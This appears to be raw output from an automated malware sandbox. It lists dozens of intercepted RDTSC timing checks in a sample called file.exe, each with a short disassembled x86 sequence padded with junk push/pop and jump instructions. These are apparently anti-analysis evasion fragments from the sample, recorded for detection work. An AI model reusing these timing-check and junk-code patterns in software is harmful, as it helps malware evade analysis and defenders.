Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10531CA second address: 10531CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10531CE second address: 10531D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10531D4 second address: 10531DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10531DA second address: 10531DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1052D66 second address: 1052D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1052D6C second address: 1052D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1052D70 second address: 1052D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FE6C4735518h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1053ACF second address: 1053AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1053AD3 second address: 1053AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1053AD9 second address: 1053AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE6C5005F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1057C61 second address: 1057C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105C07C second address: 105C0A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Bh 0x00000007 push ebx 0x00000008 jmp 00007FE6C5005F90h 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jo 00007FE6C5005F8Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105C0A6 second address: 105C0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C473551Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105C0BC second address: 105C0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C5005F8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105AE5A second address: 105AE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FE6C4735528h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102024B second address: 1020258 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020258 second address: 102027A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE6C4735527h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102027A second address: 1020280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020280 second address: 10202FB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push dword ptr fs:[00000000h] 0x00000010 sub dx, F727h 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c add edi, dword ptr [ebp+122D1EF4h] 0x00000022 mov dword ptr [ebp+1247FECBh], esp 0x00000028 mov edx, dword ptr [ebp+122D3A4Eh] 0x0000002e cmp dword ptr [ebp+122D39AEh], 00000000h 0x00000035 jne 00007FE6C47355DEh 0x0000003b mov di, cx 0x0000003e mov dx, D2E0h 0x00000042 mov byte ptr [ebp+122D2CFAh], 00000047h 0x00000049 push 00000000h 0x0000004b push esi 0x0000004c call 00007FE6C4735518h 0x00000051 pop esi 0x00000052 mov dword ptr [esp+04h], esi 0x00000056 add dword ptr [esp+04h], 0000001Ah 0x0000005e inc esi 0x0000005f push esi 0x00000060 ret 0x00000061 pop esi 0x00000062 ret 0x00000063 mov eax, D49AA7D2h 0x00000068 cld 0x00000069 nop 0x0000006a push esi 0x0000006b jng 00007FE6C473551Ch 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020700 second address: 1020704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020834 second address: 102088A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FE6C4735518h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 call 00007FE6C4735523h 0x00000027 sub dword ptr [ebp+1244445Bh], ebx 0x0000002d pop ecx 0x0000002e mov dl, B7h 0x00000030 call 00007FE6C4735519h 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102088A second address: 1020891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020891 second address: 10208DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pop esi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jns 00007FE6C473551Ah 0x0000001a push edi 0x0000001b pushad 0x0000001c popad 0x0000001d pop edi 0x0000001e mov eax, dword ptr [eax] 0x00000020 jne 00007FE6C473552Ah 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push edx 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020AF5 second address: 1020B1A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE6C5005F99h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020B1A second address: 1020B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020B28 second address: 1020B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020B2C second address: 1020B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1020B32 second address: 1020B88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FE6C5005F91h 0x00000012 mov eax, dword ptr [eax] 0x00000014 ja 00007FE6C5005F94h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f jl 00007FE6C5005F88h 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10211C5 second address: 102121A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE6C4735518h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2D64h], eax 0x0000002a push 0000001Eh 0x0000002c sbb dx, B1D8h 0x00000031 nop 0x00000032 pushad 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 pushad 0x0000003a jo 00007FE6C4735516h 0x00000040 push edi 0x00000041 pop edi 0x00000042 popad 0x00000043 popad 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push esi 0x00000049 pop esi 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102121A second address: 102121F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B312 second address: 105B319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B319 second address: 105B31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B31F second address: 105B33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C4735525h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B33C second address: 105B345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B4BA second address: 105B4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B4C3 second address: 105B4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B5FA second address: 105B5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B5FE second address: 105B617 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007FE6C5005F86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007FE6C5005F86h 0x00000015 pop edx 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B911 second address: 105B95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FE6C4735520h 0x0000000b jmp 00007FE6C473551Ah 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE6C4735529h 0x00000018 jng 00007FE6C4735529h 0x0000001e jmp 00007FE6C4735523h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B95B second address: 105B979 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE6C5005F98h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105B979 second address: 105B97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105DF3D second address: 105DF6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE6C5005F90h 0x0000000a jmp 00007FE6C5005F8Bh 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE6C5005F8Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10612E0 second address: 10612E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10612E4 second address: 10612E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1060CD5 second address: 1060CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE6C4735516h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1060F71 second address: 1060FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FE6C5005F98h 0x0000000b popad 0x0000000c jmp 00007FE6C5005F95h 0x00000011 jp 00007FE6C5005F8Eh 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10673E0 second address: 10673F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10673F6 second address: 10673FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10673FA second address: 1067422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C4735523h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE6C473551Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1067422 second address: 1067428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1067428 second address: 106743F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C4735523h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10666CE second address: 10666D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10666D6 second address: 10666DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106680F second address: 106681A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1066CBA second address: 1066CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1066CC2 second address: 1066CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1066E36 second address: 1066E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F9E3 second address: 106F9E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106F9E7 second address: 106F9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106FB50 second address: 106FB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106FB59 second address: 106FB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106FB5F second address: 106FB65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106FE5B second address: 106FE6F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE6C4735516h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FE6C4735522h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106FE6F second address: 106FE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1021019 second address: 1021035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735528h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1021035 second address: 1021039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107027B second address: 1070281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10703C6 second address: 10703CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10703CD second address: 10703D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10703D3 second address: 10703EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C5005F95h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10703EC second address: 10703F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10703F0 second address: 10703FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1070E36 second address: 1070E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1076E92 second address: 1076E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE6C5005F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1076E9C second address: 1076EA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1076FDF second address: 1076FF1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FE6C5005F9Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107742C second address: 107745A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE6C4735527h 0x0000000c jmp 00007FE6C4735520h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107745A second address: 1077476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C5005F91h 0x00000008 jbe 00007FE6C5005F86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1078825 second address: 107882B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107882B second address: 107882F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1081F71 second address: 1081F7B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE6C4735516h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1081F7B second address: 1081FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE6C5005F97h 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE6C5005F95h 0x00000019 je 00007FE6C5005F86h 0x0000001f js 00007FE6C5005F86h 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 108111E second address: 1081139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE6C4735524h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1081139 second address: 1081155 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10812A0 second address: 10812B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jno 00007FE6C4735516h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10812B5 second address: 10812BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10812BB second address: 10812C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10812C4 second address: 10812DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F94h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10812DE second address: 10812E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10815E9 second address: 10815F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007FE6C5005F86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10815F9 second address: 1081604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE6C4735516h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1081604 second address: 1081613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1081613 second address: 1081617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10894C2 second address: 10894C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10894C6 second address: 10894CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
